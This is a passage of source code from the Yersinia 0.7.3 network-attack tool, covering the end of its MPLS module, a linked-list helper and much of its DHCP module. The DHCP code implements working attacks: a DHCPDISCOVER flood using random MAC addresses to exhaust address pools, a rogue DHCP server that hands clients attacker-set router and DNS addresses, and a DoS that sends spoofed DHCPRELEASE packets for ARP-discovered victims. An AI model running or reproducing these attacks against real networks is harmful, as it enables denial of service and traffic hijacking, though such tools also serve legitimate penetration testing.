mpls_tmp->mac_dest[5]); /* Source IP */ parser_get_formated_inet_address_fill(mpls_tmp->src_ip, field_values[MPLS_SRC_IP], 16,1); snprintf(field_values[MPLS_SRC_PORT], 6, "%05hd", mpls_tmp->src_port); /* Destination IP */ parser_get_formated_inet_address_fill(mpls_tmp->dst_ip, field_values[MPLS_DST_IP], 16,1); snprintf(field_values[MPLS_DST_PORT], 6, "%05hd", mpls_tmp->dst_port); memcpy(field_values[MPLS_PAYLOAD], mpls_tmp->ip_payload, MAX_IP_PAYLOAD); snprintf(field_values[MPLS_LABEL1], 9, "%08d",mpls_tmp->label1); snprintf(field_values[MPLS_LABEL2], 9, "%08d",mpls_tmp->label2); snprintf(field_values[MPLS_EXP1], 4, "%03d",mpls_tmp->exp1); snprintf(field_values[MPLS_BOTTOM1], 2, "%01d",mpls_tmp->bottom1); snprintf(field_values[MPLS_TTL1], 4, "%03d",mpls_tmp->ttl1); snprintf(field_values[MPLS_EXP2], 4, "%03d",mpls_tmp->exp2); snprintf(field_values[MPLS_BOTTOM2], 2, "%01d",mpls_tmp->bottom2); snprintf(field_values[MPLS_TTL2], 4, "%03d",mpls_tmp->ttl2); return (char **)field_values; } int8_t mpls_update_field(int8_t state, struct term_node *node, void *value) { struct mpls_data *mpls_data; if (node == NULL) mpls_data = protocols[PROTO_MPLS].default_values; else mpls_data = node->protocol[PROTO_MPLS].tmp_data; switch(state) { /* Source MAC */ case MPLS_SMAC: memcpy((void *)mpls_data->mac_source, (void *)value, ETHER_ADDR_LEN); break; /* Destination MAC */ case MPLS_DMAC: memcpy((void *)mpls_data->mac_dest, (void *)value, ETHER_ADDR_LEN); break; /* Source IP */ case MPLS_SRC_IP: mpls_data->src_ip = *(u_int32_t *)value; break; case MPLS_SRC_PORT: mpls_data->src_port = *(u_int16_t *)value; break; case MPLS_DST_IP: mpls_data->dst_ip = *(u_int32_t *)value; break; case MPLS_DST_PORT: mpls_data->dst_port = *(u_int16_t *)value; break; case MPLS_LABEL1: mpls_data->label1 = *(u_int32_t *)value; break; case MPLS_EXP1: mpls_data->exp1 = *(u_int8_t *)value; break; case MPLS_BOTTOM1: mpls_data->bottom1 = *(u_int8_t *)value; break; case MPLS_TTL1: mpls_data->ttl1 = *(u_int8_t *)value; break; case MPLS_LABEL2: mpls_data->label2 = *(u_int32_t *)value; break; case MPLS_EXP2: mpls_data->exp2 = *(u_int8_t *)value; break; case MPLS_BOTTOM2: mpls_data->bottom2 = *(u_int8_t *)value; break; case MPLS_TTL2: mpls_data->ttl2 = *(u_int8_t *)value; break; default: break; } return 0; } int8_t mpls_end(struct term_node *node) { return 0; } yersinia-0.7.3/src/dlist.c0000644000175000017500000000770312234207266013233 0ustar nknk/* dlist.c * Dynamic lists implementation (double linked) * taken from http://www.vorlesungen.uos.de/informatik/cc02/src/dlist/dlist.c * * Yersinia * By David Barroso and Alfredo Andres * Copyright 2005, 2006, 2007 Alfredo Andres and David Barroso * * This program is free software; you can redistribute it and/or * modify it under the terms of the GNU General Public License * as published by the Free Software Foundation; either version 2 * of the License, or (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program; if not, write to the Free Software * Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. */ #ifndef lint static const char rcsid[] = "$Id: dlist.c 43 2007-04-27 11:07:17Z slay $"; #endif #include "config.h" #include #ifdef HAVE_SYS_TYPES_H #include #endif #ifdef HAVE_INTTYPES_H #include #endif #include "dlist.h" void * dlist_data(dlist_t *list) { return list ? list->data : NULL; } dlist_t* dlist_next(dlist_t* list, dlist_t* p) { return (list && p && p->next != list) ? p->next : NULL; } dlist_t* dlist_prev(dlist_t* list, dlist_t* p) { return (list && p && p != list) ? p->prev : NULL; } static inline dlist_t* dlist_new(const void *data) { dlist_t *p; p = malloc(sizeof(dlist_t)); if (! p) { exit(EXIT_FAILURE); } p->data = (void *) data; p->next = p->prev = p; return p; } dlist_t* dlist_prepend(dlist_t *list, const void *data) { dlist_t *p; p = dlist_new(data); if (! list) { return p; } p->prev = list->prev, list->prev->next = p; p->next = list, list->prev = p; return p; } dlist_t* dlist_append(dlist_t *list, const void *data) { dlist_t *p; p = dlist_new(data); if (! list) { return p; } p->prev = list->prev, list->prev->next = p; p->next = list, list->prev = p; return list; } dlist_t* dlist_remove(dlist_t *list, const void *data) { dlist_t *p, *q; for (p = list; p; ) { if (p->data == data) { if (p->next == p && p->prev == p) { free(p); list = p = NULL; } else { q = p; p->prev->next = p->next; p->next->prev = p->prev; p = dlist_next(list, p->prev); if (q == list) list = p; free(q); } } else { p = dlist_next(list, p); } } return list; } dlist_t* dlist_delete(dlist_t *list) { dlist_t *p, *q; for (p = list; p; ) { q = p, p = dlist_next(list, p), free(q); } return NULL; } u_int32_t dlist_length(dlist_t *list) { dlist_t *p; u_int32_t l = 0; for (p = list; p; p = dlist_next(list, p)) l++; return l; } dlist_t* dlist_last(dlist_t *list) { return (list ? list->prev : NULL); } void dlist_foreach(dlist_t *list, void (*func) (void *data, void *user), void *user) { dlist_t *p; if (func) { for (p = list; p; p = dlist_next(list, p)) { func((p)->data, user); } } } dlist_t* dlist_find(dlist_t *list, const void *data) { dlist_t *p; for (p = list; p; p = dlist_next(list, p)) { if (p->data == data) { return p; } } return NULL; } dlist_t* dlist_search(dlist_t *list, int8_t (*cmp) (void *data, void *pattern), void *pattern) { dlist_t *p; if (cmp) { for (p = list; p; p = dlist_next(list, p)) { if (cmp(p->data, pattern) == 0) { return p; } } } return NULL; } yersinia-0.7.3/src/dhcp.c0000644000175000017500000017460712234207266013042 0ustar nknk/* dhcp.c * Implementation for Dynamic Host Configuration Protocol * * Yersinia * By David Barroso and Alfredo Andres * Copyright 2005, 2006, 2007 Alfredo Andres and David Barroso * * This program is free software; you can redistribute it and/or * modify it under the terms of the GNU General Public License * as published by the Free Software Foundation; either version 2 * of the License, or (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program; if not, write to the Free Software * Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. */ /* DHCP functions - please read RFC 2131 before complaining!!! */ #ifndef lint static const char rcsid[] = "$Id: dhcp.c 46 2007-05-08 09:13:30Z slay $"; #endif #ifdef HAVE_CONFIG_H #include #endif #define _REENTRANT #include #include #include #include #ifdef HAVE_NETINET_IN_SYSTM_H #include #else #ifdef HAVE_NETINET_IN_SYSTEM_H #include #endif #endif #include #include #include #include #ifdef TIME_WITH_SYS_TIME #include #endif #ifdef HAVE_UNISTD_H #include #endif #ifdef HAVE_STRING_H #include #endif #ifdef HAVE_STRINGS_H #include #endif #ifdef HAVE_BSTRING_H #include #endif #ifdef STDC_HEADERS #include #endif #ifdef HAVE_PTHREAD_H #include #endif #include #include "dhcp.h" void dhcp_register(void) { protocol_register(PROTO_DHCP,"DHCP","Dynamic Host Configuration Protocol", "dhcp", sizeof(struct dhcp_data), dhcp_init_attribs, NULL, dhcp_get_printable_packet, dhcp_get_printable_store, dhcp_load_values, dhcp_attack, dhcp_update_field, dhcp_features, dhcp_comm_params, SIZE_ARRAY(dhcp_comm_params), dhcp_params_tlv, SIZE_ARRAY(dhcp_params_tlv), NULL, dhcp_init_comms_struct, PROTO_VISIBLE, dhcp_end); protocol_register_tlv(PROTO_DHCP, dhcp_edit_tlv, dhcp_type_desc, dhcp_tlv, SIZE_ARRAY(dhcp_tlv)); } /* * Inicializa la estructura que se usa para relacionar el tmp_data * de cada nodo con los datos que se sacaran por pantalla cuando * se accede al demonio de red. * Teoricamente como esta funcion solo se llama desde term_add_node() * la cual, a su vez, solo es llamada al tener el mutex bloqueado por * lo que no veo necesario que sea reentrante. (Fredy). */ int8_t dhcp_init_comms_struct(struct term_node *node) { struct dhcp_data *dhcp_data; void **comm_param; comm_param = (void *)calloc(1,sizeof(void *)*SIZE_ARRAY(dhcp_comm_params)); if (comm_param == NULL) { thread_error("dhcp_init_commands_struct calloc error",errno); return -1; } dhcp_data = node->protocol[PROTO_DHCP].tmp_data; node->protocol[PROTO_DHCP].commands_param = comm_param; comm_param[DHCP_SMAC] = &dhcp_data->mac_source; comm_param[DHCP_DMAC] = &dhcp_data->mac_dest; comm_param[DHCP_SIP] = &dhcp_data->sip; comm_param[DHCP_DIP] = &dhcp_data->dip; comm_param[DHCP_SPORT] = &dhcp_data->sport; comm_param[DHCP_DPORT] = &dhcp_data->dport; /*comm_param[6] = &dhcp_data->fname; */ comm_param[DHCP_OP] = &dhcp_data->op; comm_param[DHCP_HTYPE] = &dhcp_data->htype; comm_param[DHCP_HLEN] = &dhcp_data->hlen; comm_param[DHCP_HOPS] = &dhcp_data->hops; comm_param[DHCP_XID] = &dhcp_data->xid; comm_param[DHCP_SECS] = &dhcp_data->secs; comm_param[DHCP_FLAGS] = &dhcp_data->flags; comm_param[DHCP_CIADDR] = &dhcp_data->ciaddr; comm_param[DHCP_YIADDR] = &dhcp_data->yiaddr; comm_param[DHCP_SIADDR] = &dhcp_data->siaddr; /* comm_param[17] = &dhcp_data->sname; */ comm_param[DHCP_GIADDR] = &dhcp_data->giaddr; comm_param[DHCP_CHADDR] = &dhcp_data->chaddr; /* comm_param[18] = &dhcp_data->xid; comm_param[19] = &dhcp_data->yiaddr; */ return 0; } void dhcp_th_send_raw(void *arg) { struct attacks *attacks=NULL; struct dhcp_data *dhcp_data; sigset_t mask; u_int32_t aux_long; attacks = arg; pthread_mutex_lock(&attacks->attack_th.finished); pthread_detach(pthread_self()); sigfillset(&mask); if (pthread_sigmask(SIG_BLOCK, &mask, NULL)) { thread_error("dhcp_send_discover pthread_sigmask()",errno); dhcp_th_send_raw_exit(attacks); } dhcp_data = attacks->data; /* Temporal fix */ memcpy((void *)&aux_long, (void *)&dhcp_data->sip, 4); dhcp_data->sip = htonl(aux_long); memcpy((void *)&aux_long, (void *)&dhcp_data->dip, 4); dhcp_data->dip = htonl(aux_long); dhcp_send_packet(attacks); dhcp_th_send_raw_exit(attacks); } void dhcp_th_send_raw_exit(struct attacks *attacks) { if (attacks) attack_th_exit(attacks); pthread_mutex_unlock(&attacks->attack_th.finished); pthread_exit(NULL); } void dhcp_th_send_discover(void *arg) { struct attacks *attacks=NULL; struct dhcp_data *dhcp_data; sigset_t mask; attacks = arg; pthread_mutex_lock(&attacks->attack_th.finished); pthread_detach(pthread_self()); sigfillset(&mask); if (pthread_sigmask(SIG_BLOCK, &mask, NULL)) { thread_error("dhcp_send_discover pthread_sigmask()",errno); dhcp_th_send_discover_exit(attacks); } dhcp_data = attacks->data; dhcp_send_discover(attacks); dhcp_th_send_discover_exit(attacks); } void dhcp_th_send_discover_exit(struct attacks *attacks) { if (attacks) attack_th_exit(attacks); pthread_mutex_unlock(&attacks->attack_th.finished); pthread_exit(NULL); } int8_t dhcp_send_discover(struct attacks *attacks) { struct dhcp_data *dhcp_data; dhcp_data = attacks->data; dhcp_data->sport = DHCP_CLIENT_PORT; dhcp_data->dport = DHCP_SERVER_PORT; dhcp_data->sip = 0; dhcp_data->dip = inet_addr("255.255.255.255"); dhcp_data->op = LIBNET_DHCP_REQUEST; dhcp_data->options[2] = LIBNET_DHCP_MSGDISCOVER; dhcp_data->options[3] = LIBNET_DHCP_END; dhcp_data->options_len = 4; dhcp_send_packet(attacks); return 0; } void dhcp_th_send_inform(void *arg) { struct attacks *attacks=NULL; struct dhcp_data *dhcp_data; sigset_t mask; attacks = arg; pthread_mutex_lock(&attacks->attack_th.finished); pthread_detach(pthread_self()); sigfillset(&mask); if (pthread_sigmask(SIG_BLOCK, &mask, NULL)) { thread_error("dhcp_send_discover pthread_sigmask()",errno); dhcp_th_send_inform_exit(attacks); } dhcp_data = attacks->data; dhcp_send_inform(attacks); dhcp_th_send_inform_exit(attacks); } void dhcp_th_send_inform_exit(struct attacks *attacks) { if (attacks) attack_th_exit(attacks); pthread_mutex_unlock(&attacks->attack_th.finished); pthread_exit(NULL); } int8_t dhcp_send_inform(struct attacks *attacks) { struct dhcp_data *dhcp_data; dhcp_data = attacks->data; dhcp_data->sport = DHCP_CLIENT_PORT; dhcp_data->dport = DHCP_SERVER_PORT; /* ciaddr = sip */ memcpy((void *)&dhcp_data->ciaddr, (void *)&dhcp_data->sip, 4); /* FIXME: libnet consistency */ dhcp_data->ciaddr = htonl(dhcp_data->ciaddr); dhcp_data->dip = inet_addr("255.255.255.255"); dhcp_data->op = LIBNET_DHCP_REQUEST; dhcp_data->options[2] = LIBNET_DHCP_MSGINFORM; dhcp_data->options[3] = LIBNET_DHCP_END; dhcp_data->options_len = 4; dhcp_send_packet(attacks); return 0; } void dhcp_th_send_offer(void *arg) { struct attacks *attacks=NULL; struct dhcp_data *dhcp_data; sigset_t mask; attacks = arg; pthread_mutex_lock(&attacks->attack_th.finished); pthread_detach(pthread_self()); sigfillset(&mask); if (pthread_sigmask(SIG_BLOCK, &mask, NULL)) { thread_error("dhcp_send_discover pthread_sigmask()",errno); dhcp_th_send_offer(attacks); } dhcp_data = attacks->data; dhcp_send_offer(attacks); dhcp_th_send_offer_exit(attacks); } void dhcp_th_send_offer_exit(struct attacks *attacks) { if (attacks) attack_th_exit(attacks); pthread_mutex_unlock(&attacks->attack_th.finished); pthread_exit(NULL); } int8_t dhcp_send_offer(struct attacks *attacks) { struct dhcp_data *dhcp_data; u_int32_t lbl32; dhcp_data = attacks->data; dhcp_data->sport = DHCP_SERVER_PORT; dhcp_data->dport = DHCP_CLIENT_PORT; lbl32 = libnet_get_prand(LIBNET_PRu32); memcpy((void *)&dhcp_data->sip, (void *) &lbl32, 4); lbl32 = libnet_get_prand(LIBNET_PRu32); memcpy((void *)&dhcp_data->dip, (void *) &lbl32, 4); dhcp_data->op = LIBNET_DHCP_REPLY; lbl32 = libnet_get_prand(LIBNET_PRu32); memcpy((void *)&dhcp_data->yiaddr, (void *) &lbl32, 4); dhcp_data->options[2] = LIBNET_DHCP_MSGOFFER; dhcp_data->options[3] = LIBNET_DHCP_SERVIDENT; dhcp_data->options[4] = 4; /* server identification = source ip */ memcpy((void *) &dhcp_data->options[5], (void *) &dhcp_data->sip, 4); dhcp_data->options[9] = LIBNET_DHCP_LEASETIME; dhcp_data->options[10] = 4; lbl32 = libnet_get_prand(LIBNET_PRu32); memcpy((void *)&dhcp_data->options[11], (void *) &lbl32, 4); dhcp_data->options[15] = LIBNET_DHCP_END; dhcp_data->options_len = 16; dhcp_send_packet(attacks); return 0; } void dhcp_th_send_request(void *arg) { struct attacks *attacks=NULL; struct dhcp_data *dhcp_data; sigset_t mask; attacks = arg; pthread_mutex_lock(&attacks->attack_th.finished); pthread_detach(pthread_self()); sigfillset(&mask); if (pthread_sigmask(SIG_BLOCK, &mask, NULL)) { thread_error("dhcp_send_discover pthread_sigmask()",errno); dhcp_th_send_request_exit(attacks); } dhcp_data = attacks->data; dhcp_send_request(attacks); dhcp_th_send_request_exit(attacks); } void dhcp_th_send_request_exit(struct attacks *attacks) { if (attacks) attack_th_exit(attacks); pthread_mutex_unlock(&attacks->attack_th.finished); pthread_exit(NULL); } int8_t dhcp_send_request(struct attacks *attacks) { struct dhcp_data *dhcp_data; u_int32_t lbl32; dhcp_data = attacks->data; dhcp_data->sport = DHCP_CLIENT_PORT; dhcp_data->dport = DHCP_SERVER_PORT; lbl32 = libnet_get_prand(LIBNET_PRu32); dhcp_data->sip = 0; /* lbl32 = libnet_get_prand(LIBNET_PRu32); memcpy((void *)&dhcp_data->dip, (void *) &lbl32, 4);*/ dhcp_data->dip = inet_addr("192.168.0.100"); dhcp_data->op = LIBNET_DHCP_REQUEST; /* lbl32 = libnet_get_prand(LIBNET_PRu32); memcpy((void *)&dhcp_data->yiaddr, (void *) &lbl32, 4);*/ dhcp_data->options[2] = LIBNET_DHCP_MSGREQUEST; dhcp_data->options[3] = LIBNET_DHCP_SERVIDENT; dhcp_data->options[4] = 4; /* server identification = destination ip */ memcpy((void *) &dhcp_data->options[5], (void *) &dhcp_data->dip, sizeof(u_int32_t)); dhcp_data->options[9] = LIBNET_DHCP_DISCOVERADDR; dhcp_data->options[10] = 4; lbl32 = inet_addr("192.168.0.2"); memcpy((void *)&dhcp_data->options[11], (void *)&lbl32, 4); dhcp_data->options[15] = LIBNET_DHCP_END; dhcp_data->options_len = 16; dhcp_send_packet(attacks); return 0; } int8_t dhcp_send_release(struct attacks *attacks, u_int32_t server, u_int32_t ip, u_int8_t *mac_server, u_int8_t *mac_victim) { struct dhcp_data *dhcp_data; u_int32_t lbl32; dhcp_data = attacks->data; memcpy((void *)dhcp_data->mac_source, (void *)mac_victim, ETHER_ADDR_LEN); memcpy((void *)dhcp_data->mac_dest, (void *)mac_server, ETHER_ADDR_LEN); dhcp_data->sport = DHCP_CLIENT_PORT; dhcp_data->dport = DHCP_SERVER_PORT; lbl32 = libnet_get_prand(LIBNET_PRu32); memcpy((void *)&dhcp_data->sip, (void *)&ip, 4); memcpy((void *)&dhcp_data->dip, (void *)&server, 4); dhcp_data->op = LIBNET_DHCP_REQUEST; dhcp_data->flags = 0; /* FIXME: libnet consistency */ dhcp_data->ciaddr = htonl(ip); /* memcpy((void *)&dhcp_data->ciaddr, (void *)&ip, 4);*/ memcpy((void *)dhcp_data->chaddr, (void *)mac_victim, ETHER_ADDR_LEN); dhcp_data->options[2] = LIBNET_DHCP_MSGRELEASE; dhcp_data->options[3] = LIBNET_DHCP_SERVIDENT; dhcp_data->options[4] = 4; /* server identification = destination ip */ memcpy((void *) &dhcp_data->options[5], (void *) &dhcp_data->dip, sizeof(u_int32_t)); dhcp_data->options[9] = LIBNET_DHCP_END; dhcp_data->options_len = 10; dhcp_send_packet(attacks); return 0; } void dhcp_th_send_decline(void *arg) { struct attacks *attacks=NULL; struct dhcp_data *dhcp_data; sigset_t mask; attacks = arg; pthread_mutex_lock(&attacks->attack_th.finished); pthread_detach(pthread_self()); sigfillset(&mask); if (pthread_sigmask(SIG_BLOCK, &mask, NULL)) { thread_error("dhcp_send_discover pthread_sigmask()",errno); dhcp_th_send_decline_exit(attacks); } attacks = arg; dhcp_data = attacks->data; dhcp_send_decline(attacks); dhcp_th_send_decline_exit(attacks); } void dhcp_th_send_decline_exit(struct attacks *attacks) { if (attacks) attack_th_exit(attacks); pthread_mutex_unlock(&attacks->attack_th.finished); pthread_exit(NULL); } int8_t dhcp_send_decline(struct attacks *attacks) { struct dhcp_data *dhcp_data; u_int32_t lbl32; dhcp_data = attacks->data; dhcp_data->sport = DHCP_CLIENT_PORT; dhcp_data->dport = DHCP_SERVER_PORT; lbl32 = libnet_get_prand(LIBNET_PRu32); /* dhcp_data->dip = inet_addr("192.168.0.100");*/ dhcp_data->op = LIBNET_DHCP_REQUEST; /* ciaddr must be 0 */ dhcp_data->ciaddr = 0; memcpy((void *)dhcp_data->chaddr, dhcp_data->mac_source, ETHER_ADDR_LEN); dhcp_data->options[2] = LIBNET_DHCP_MSGDECLINE; dhcp_data->options[3] = LIBNET_DHCP_SERVIDENT; dhcp_data->options[4] = 4; /* server identification = destination ip */ memcpy((void *) &dhcp_data->options[5], (void *) &dhcp_data->dip, sizeof(u_int32_t)); dhcp_data->options[9] = LIBNET_DHCP_DISCOVERADDR; dhcp_data->options[10] = 4; lbl32 = inet_addr("192.168.0.3"); memcpy((void *)&dhcp_data->options[11], (void *)&lbl32, 4); dhcp_data->options[15] = LIBNET_DHCP_END; dhcp_data->options_len = 16; dhcp_send_packet(attacks); return 0; } /*********************************/ /* DoS attack sending DHCPDISCOVER */ /*********************************/ void dhcp_th_dos_send_discover(void *arg) { struct attacks *attacks=NULL; struct dhcp_data *dhcp_data; sigset_t mask; attacks = arg; pthread_mutex_lock(&attacks->attack_th.finished); pthread_detach(pthread_self()); sigfillset(&mask); if (pthread_sigmask(SIG_BLOCK, &mask, NULL)) { thread_error("xstp_dos_conf pthread_sigmask()",errno); dhcp_th_dos_send_discover_exit(attacks); } dhcp_data = attacks->data; while(!attacks->attack_th.stop) { attack_gen_mac(dhcp_data->mac_source); memcpy((void *)dhcp_data->chaddr, (void *)dhcp_data->mac_source,6); dhcp_send_discover(attacks); #ifdef NEED_USLEEP thread_usleep(100000); #endif } dhcp_th_dos_send_discover_exit(attacks); } void dhcp_th_dos_send_discover_exit(struct attacks *attacks) { if (attacks) attack_th_exit(attacks); pthread_mutex_unlock(&attacks->attack_th.finished); pthread_exit(NULL); } void dhcp_th_rogue_server(void *arg) { struct attacks *attacks=NULL; struct dhcp_data *dhcp_data; struct attack_param *param = NULL; struct timeval now; sigset_t mask; u_int8_t slen; char *ptr, **values, *top; int8_t got_discover, got_request; struct pcap_data p_data; u_int32_t lbl32; attacks = arg; pthread_mutex_lock(&attacks->attack_th.finished); pthread_detach(pthread_self()); slen = 0; sigfillset(&mask); values = NULL; if (pthread_sigmask(SIG_BLOCK, &mask, NULL)) { thread_error("dhcp_th_rogue_server_thread_sigmask()",errno); dhcp_th_rogue_server_exit(attacks); } dhcp_data = attacks->data; param = attacks->params; /* til we exhaust the ip addresses pool!! */ while (((*(u_int32_t *)param[DHCP_ROGUE_START_IP].value) <= (*(u_int32_t *)param[DHCP_ROGUE_END_IP].value)) && !attacks->attack_th.stop) { /* Ok, let's wait for a DISCOVER guy! */ if ((p_data.packet = calloc(1, SNAPLEN)) == NULL) break; if ((p_data.header = calloc(1, sizeof(struct pcap_pkthdr))) == NULL) { free(p_data.packet); break; } gettimeofday(&now,NULL); p_data.header->ts.tv_sec = now.tv_sec; p_data.header->ts.tv_usec = now.tv_usec; got_discover = 0; got_request = 0; while (!got_discover && !got_request && !attacks->attack_th.stop) { interfaces_get_packet(attacks->used_ints, NULL, &attacks->attack_th.stop, p_data.header, p_data.packet, PROTO_DHCP, NO_TIMEOUT); if (attacks->attack_th.stop) { free(p_data.packet); free(p_data.header); dhcp_th_rogue_server_exit(attacks); } if ((values = dhcp_get_printable_packet(&p_data)) == NULL) { write_log(0, "Error in dhcp_get_printable_packet\n"); free(p_data.packet); free(p_data.header); dhcp_th_rogue_server_exit(attacks); } ptr = values[DHCP_TLV]; top = ptr + (2*MAX_TLV*MAX_VALUE_LENGTH); while((ptr < top) && (strncmp(ptr, "MESSAGETYPE", 11) != 0)) ptr += strlen(ptr) + 1; /* DISCOVER or REQUEST */ if (strncmp(ptr+12, "01", 2) == 0) got_discover = 1; if (strncmp(ptr+12, "03", 2) == 0) got_request = 1; } free(p_data.packet); free(p_data.header); if (attacks->attack_th.stop) dhcp_th_rogue_server_exit(attacks); dhcp_data->sport = DHCP_SERVER_PORT; dhcp_data->dport = DHCP_CLIENT_PORT; dhcp_data->op = LIBNET_DHCP_REPLY; memcpy((void *)&dhcp_data->sip, (void *)param[DHCP_ROGUE_SERVER].value, 4); lbl32 = htonl(*(u_int32_t *)param[DHCP_ROGUE_ROUTER].value); memcpy((void *)&dhcp_data->siaddr, (void *)&lbl32, 4); lbl32 = htonl(*(u_int32_t *)param[DHCP_ROGUE_START_IP].value); memcpy((void *)&dhcp_data->yiaddr, (void *)&lbl32, 4); dhcp_data->giaddr = 0; dhcp_data->dip = inet_addr("255.255.255.255"); /* ciaddr must be 0 */ dhcp_data->ciaddr = 0; dhcp_data->xid = strtoul(values[DHCP_XID], (char **)NULL, 16); parser_vrfy_mac(values[DHCP_SMAC], (u_int8_t *)dhcp_data->chaddr); dhcp_data->options[2] = (got_discover) ? LIBNET_DHCP_MSGOFFER : LIBNET_DHCP_MSGACK; dhcp_data->options[3] = LIBNET_DHCP_SERVIDENT; dhcp_data->options[4] = 4; /* server identification = source ip */ memcpy((void *) &dhcp_data->options[5], (void *) &dhcp_data->sip, 4); dhcp_data->options[9] = LIBNET_DHCP_LEASETIME; dhcp_data->options[10] = 4; lbl32 = htonl(*(u_int32_t *)param[DHCP_ROGUE_LEASE].value); memcpy((void *)&dhcp_data->options[11], (void *)&lbl32, 4); dhcp_data->options[15] = LIBNET_DHCP_RENEWTIME; dhcp_data->options[16] = 4; lbl32 = htonl(*(u_int32_t *)param[DHCP_ROGUE_RENEW].value); memcpy((void *)&dhcp_data->options[17], (void *)&lbl32, 4); dhcp_data->options[21] = LIBNET_DHCP_SUBNETMASK; dhcp_data->options[22] = 4; memcpy((void *)&dhcp_data->options[23], (void *)param[DHCP_ROGUE_SUBNET].value, 4); dhcp_data->options[27] = LIBNET_DHCP_ROUTER; dhcp_data->options[28] = 4; memcpy((void *)&dhcp_data->options[29], (void *)param[DHCP_ROGUE_ROUTER].value, 4); dhcp_data->options[33] = LIBNET_DHCP_DNS; dhcp_data->options[34] = 4; memcpy((void *)&dhcp_data->options[35], (void *)param[DHCP_ROGUE_DNS].value, 4); dhcp_data->options[39] = LIBNET_DHCP_DOMAINNAME; slen = strlen(param[DHCP_ROGUE_DOMAIN].value); dhcp_data->options[40] = slen; memcpy((void *)&dhcp_data->options[41], (void *)param[DHCP_ROGUE_DOMAIN].value, slen); dhcp_data->options[40 + slen + 1] = LIBNET_DHCP_END; dhcp_data->options_len = 40 + slen + 2; dhcp_send_packet(attacks); /* Next IP Address */ if (got_request) (*(u_int32_t *)param[DHCP_ROGUE_START_IP].value) += htonl(0x01); } dhcp_th_rogue_server_exit(attacks); } void dhcp_th_rogue_server_exit(struct attacks *attacks) { if (attacks) attack_th_exit(attacks); pthread_mutex_unlock(&attacks->attack_th.finished); pthread_exit(NULL); } void dhcp_th_dos_send_release(void *arg) { struct attacks *attacks=NULL; struct dhcp_data *dhcp_data; struct attack_param *param = NULL; sigset_t mask; u_int8_t arp_mac[ETHER_ADDR_LEN]; u_int8_t arp_server[ETHER_ADDR_LEN]; u_int32_t aux_long, aux_long1; attacks = arg; pthread_mutex_lock(&attacks->attack_th.finished); pthread_detach(pthread_self()); sigfillset(&mask); if (pthread_sigmask(SIG_BLOCK, &mask, NULL)) { thread_error("dhcp_th_dos_send_release pthread_sigmask()",errno); dhcp_th_dos_send_release_exit(attacks); } dhcp_data = attacks->data; param = attacks->params; memcpy((void *)&aux_long, (void *)param[DHCP_DOS_SEND_RELEASE_START_IP].value, 4); memcpy((void *)&aux_long1, (void *)param[DHCP_DOS_SEND_RELEASE_SERVER].value, 4); if (dhcp_send_arp_request(attacks, aux_long1) < 0) { write_log(0, "Error in dhcp_send_arp_request\n"); dhcp_th_dos_send_release_exit(attacks); } /* MAC from the Server */ if (dhcp_learn_mac(attacks, aux_long1, arp_server) < 0) { write_log(0, "Error in dhcp_learn_mac for the server\n"); dhcp_th_dos_send_release_exit(attacks); } /* loop */ while ((aux_long <= (*(u_int32_t *)param[DHCP_DOS_SEND_RELEASE_END_IP].value)) && !attacks->attack_th.stop) { if (dhcp_send_arp_request(attacks, aux_long) < 0) { write_log(0, "Error in dhcp_send_arp_request\n"); dhcp_th_dos_send_release_exit(attacks); } /* MAC from the victim */ if (dhcp_learn_mac(attacks, aux_long, arp_mac) < 0) { write_log(0, "Error in dhcp_learn_mac\n"); /* dhcp_dos_send_release_exit(attacks);*/ } else if (dhcp_send_release(attacks, aux_long1, aux_long, arp_server, arp_mac) < 0) { write_log(0, "Error in dhcp_send_release\n"); dhcp_th_dos_send_release_exit(attacks); } /* Next ip address */ aux_long += htonl(0x01); } dhcp_th_dos_send_release_exit(attacks); } void dhcp_th_dos_send_release_exit(struct attacks *attacks) { if (attacks) attack_th_exit(attacks); pthread_mutex_unlock(&attacks->attack_th.finished); pthread_exit(NULL); } int8_t dhcp_send_arp_request(struct attacks *attacks, u_int32_t ip_dest) { libnet_ptag_t t; libnet_t *lhandler; int32_t sent; struct dhcp_data *dhcp_data; char *mac_dest = "\xff\xff\xff\xff\xff\xff"; char *mac_source = "\x00\x00\x00\x00\x00\x00"; /* int8_t *ip_source="\x00\x00\x00\x00";*/ u_int32_t aux_long; dlist_t *p; struct interface_data *iface_data; dhcp_data = attacks->data; for (p = attacks->used_ints->list; p; p = dlist_next(attacks->used_ints->list, p)) { iface_data = (struct interface_data *) dlist_data(p); lhandler = iface_data->libnet_handler; aux_long = inet_addr(iface_data->ipaddr); t = libnet_build_arp( ARPHRD_ETHER, /* hardware addr */ ETHERTYPE_IP, /* protocol addr */ 6, /* hardware addr size */ 4, /* protocol addr size */ ARPOP_REQUEST, /* operation type */ (attacks->mac_spoofing)?dhcp_data->mac_source:iface_data->etheraddr, /* sender hardware address */ (u_int8_t *)&aux_long, /* sender protocol addr */ (u_int8_t *)mac_source, /* target hardware addr */ (u_int8_t *)&ip_dest, /* target protocol addr */ NULL, /* payload */ 0, /* payload size */ lhandler, /* libnet context */ 0); /* libnet id */ if (t == -1) { thread_libnet_error("Can't build arp header",lhandler); libnet_clear_packet(lhandler); return -1; } t = libnet_build_ethernet( (u_int8_t *)mac_dest, /* dest mac */ (attacks->mac_spoofing) ? dhcp_data->mac_source : iface_data->etheraddr, /* src mac*/ ETHERTYPE_ARP, /* type */ NULL, /* payload */ 0, /* payload size */ lhandler, /* libnet handle */ 0); /* libnet id */ /* t = libnet_autobuild_ethernet( mac_dest, ethernet destination ETHERTYPE_ARP, protocol type lhandler); libnet handle */ if (t == -1) { thread_libnet_error("Can't build ethernet header",lhandler); libnet_clear_packet(lhandler); return -1; } /* * Write it to the wire. */ sent = libnet_write(lhandler); if (sent == -1) { thread_libnet_error("libnet_write error", lhandler); libnet_clear_packet(lhandler); return -1; } libnet_clear_packet(lhandler); } return 0; } int8_t dhcp_learn_mac(struct attacks *attacks, u_int32_t ip_dest, u_int8_t *arp_mac) { struct dhcp_data 